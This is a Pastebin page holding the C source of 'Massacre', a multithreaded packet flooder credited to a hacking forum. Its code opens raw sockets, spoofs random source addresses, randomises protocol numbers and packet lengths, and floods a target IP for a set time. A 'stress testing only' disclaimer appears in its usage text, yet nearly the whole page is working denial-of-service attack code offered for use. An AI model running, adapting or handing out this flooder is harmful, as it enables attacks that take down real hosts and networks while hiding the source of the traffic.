prostate

L4 massacre.c

Mar 27th, 2020
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.45 KB | None | 0 0
  1. /*
  2. * Massacre - Mass Protocol Flooder V.1;
  3. * Made by JiiN - Private for Cyber-Hub.net
  4. */
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <pthread.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20.  
  21. #define MAX_PACKET_SIZE 65534
  22. #define PHI 0x9e3779b9
  23.  
  24.  
  25. static unsigned long int Q[4096], c = 362436;
  26. volatile int limiter;
  27. volatile unsigned int pps;
  28. volatile unsigned int sleeptime = 100;
  29.  
  30. void init_rand(unsigned long int x)
  31. {
  32. int i;
  33. Q[0] = x;
  34. Q[1] = x + PHI;
  35. Q[2] = x + PHI + PHI;
  36. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  37. }
  38. unsigned long int rand_cmwc(void)
  39. {
  40. unsigned long long int t, a = 18782LL;
  41. static unsigned long int i = 4095;
  42. unsigned long int x, r = 0xfffffffe;
  43. i = (i + 1) & 4095;
  44. t = a * Q[i] + c;
  45. c = (t >> 32);
  46. x = t + c;
  47. if (x < c) {
  48. x++;
  49. c++;
  50. }
  51. return (Q[i] = r - x);
  52. }
  53. unsigned short csum (unsigned short *buf, int count)
  54. {
  55. register unsigned long sum = 0;
  56. while( count > 1 ) { sum += *buf++; count -= 2; }
  57. if(count > 0) { sum += *(unsigned char *)buf; }
  58. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  59. return (unsigned short)(~sum);
  60. }
  61.  
  62.  
  63. void setup_ip_header(struct iphdr *iph)
  64. {
  65. iph->ihl = 5;
  66. iph->version = 4;
  67. iph->tos = 0;
  68. iph->tot_len = sizeof(struct iphdr);
  69. iph->id = rand();
  70. iph->frag_off = 0;
  71. iph->ttl = MAXTTL;
  72. iph->check = 0;
  73. iph->saddr = inet_addr("192.168.3.100");
  74. }
  75.  
  76.  
  77.  
  78. void *flood(void *par1)
  79. {
  80. char *td = (char *)par1;
  81. char datagram[MAX_PACKET_SIZE];
  82. struct iphdr *iph = (struct iphdr *)datagram;
  83.  
  84. struct sockaddr_in sin;
  85. sin.sin_family = AF_INET;
  86. sin.sin_port = rand();
  87. sin.sin_addr.s_addr = inet_addr(td);
  88.  
  89. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  90. if(s < 0){
  91. fprintf(stderr, "Cannot open sockets, are you root?\n");
  92. fprintf(stderr, "Exiting...\n");
  93. exit(-1);
  94. }
  95. memset(datagram, 0, MAX_PACKET_SIZE);
  96. setup_ip_header(iph);
  97.  
  98.  
  99. iph->daddr = sin.sin_addr.s_addr;
  100. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  101.  
  102. int tmp = 1;
  103. const int *val = &tmp;
  104. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  105. fprintf(stderr, "Error: Cannot rewrite the packet headers\n");
  106. fprintf(stderr, "Exiting...\n");
  107. exit(-1);
  108. }
  109.  
  110. init_rand(time(NULL));
  111. register unsigned int i;
  112. i = 0;
  113. while(1){
  114. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  115.  
  116. iph->protocol = rand() % (144 + 1 - 0) + 0;
  117. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  118. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  119. iph->tot_len = rand() % (1500 + 1 - 0) + 0;
  120. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  121.  
  122. pps++;
  123. if(i >= limiter)
  124. {
  125. i = 0;
  126. usleep(sleeptime);
  127. }
  128. i++;
  129. }
  130. }
  131. int main(int argc, char *argv[ ])
  132. {
  133. if(argc < 5){
  134. fprintf(stderr, "Massacre - Mass Protocol Flooder V.1\n");
  135. fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.net\n\n");
  136. fprintf(stderr, " ============================================================================\n");
  137. fprintf(stderr, " >> For network stress testing only! <<\n");
  138. fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
  139. fprintf(stderr, " ============================================================================\n");
  140. fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  141. exit(-1);
  142. }
  143. fprintf(stdout, "Setting up sockets...\n");
  144.  
  145. int num_threads = atoi(argv[2]);
  146. int maxpps = atoi(argv[3]);
  147. int time = atoi(argv[4]);
  148. limiter = 0;
  149. pps = 0;
  150. pthread_t thread[num_threads];
  151.  
  152. int multiplier = 100;
  153.  
  154. int i;
  155. for(i = 0;i<num_threads;i++){
  156. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  157. }
  158. fprintf(stdout, "Sending packets...\n");
  159. fprintf(stdout, "Massacre started!\n");
  160. for(i = 0;i<(time*multiplier);i++)
  161. {
  162. usleep((1000/multiplier)*1000);
  163. if((pps*multiplier) > maxpps)
  164. {
  165. if(1 > limiter)
  166. {
  167. sleeptime+=100;
  168. } else {
  169. limiter--;
  170. }
  171. } else {
  172. limiter++;
  173. if(sleeptime > 25)
  174. {
  175. sleeptime-=25;
  176. } else {
  177. sleeptime = 0;
  178. }
  179. }
  180. pps = 0;
  181. }
  182.  
  183. return 0;
  184. }
Advertisement
Add Comment
Please, Sign In to add comment